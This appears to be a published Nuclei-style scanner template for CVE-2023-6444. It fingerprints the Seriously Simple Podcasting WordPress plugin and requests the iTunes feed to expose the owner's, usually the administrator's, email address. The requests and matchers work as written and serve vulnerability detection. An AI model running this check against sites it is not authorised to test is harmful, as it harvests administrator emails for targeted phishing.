CVE-2023-6444: Seriously Simple Podcasting < 3.0.0 - Information Disclosure

2025-08-01 Seriously Simple Podcasting PoC Public

Description

The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.

PoC

id: CVE-2023-6444

info:
  name: Seriously Simple Podcasting < 3.0.0 - Information Disclosure
  author: s4e-io
  severity: medium
  description: |
    The Seriously Simple Podcasting WordPress plugin before 3.0.0 discloses the Podcast owner's email address (which by default is the admin email address) via an unauthenticated crafted request.
  impact: |
    Unauthenticated attackers can send crafted requests to obtain podcast owner email addresses which typically reveal administrator email addresses, enabling targeted phishing attacks.
  remediation: Fixed in 3.0.0
  reference:
    - https://wpscan.com/vulnerability/061c59d6-f4a0-4cd1-b945-5e92b9c2b4aa/
    - https://github.com/Wayne-Ker/CVE-2023-6444-POC/blob/main/cve-2023-6444.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6444
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-6444
    epss-score: 0.02463
    epss-percentile: 0.8365
    cpe: cpe:2.3:a:seriously_simple_podcasting_plugin:seriously_simple_podcasting_plugin:2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: castos
    product: seriously-simple-podcasting
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seriously-simple-podcasting/"
  tags: cve,cve2023,wordpress,wp-plugin,exposure,wp,seriously-simple-podcasting,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/seriously-simple-podcasting")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /?feed=itunes HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"<itunes:email>","</itunes:email>")'
          - 'contains(content_type,"text/xml")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100f56a4f1530418b2887447e96b316e949be61bd045d3ab1e3185c1880f5868a3102207b30ff690f113949d0d0fcf02050309a4e530e1db68cb45b3300515584363e0e:922c64590222798bb761d5b6d8e72950

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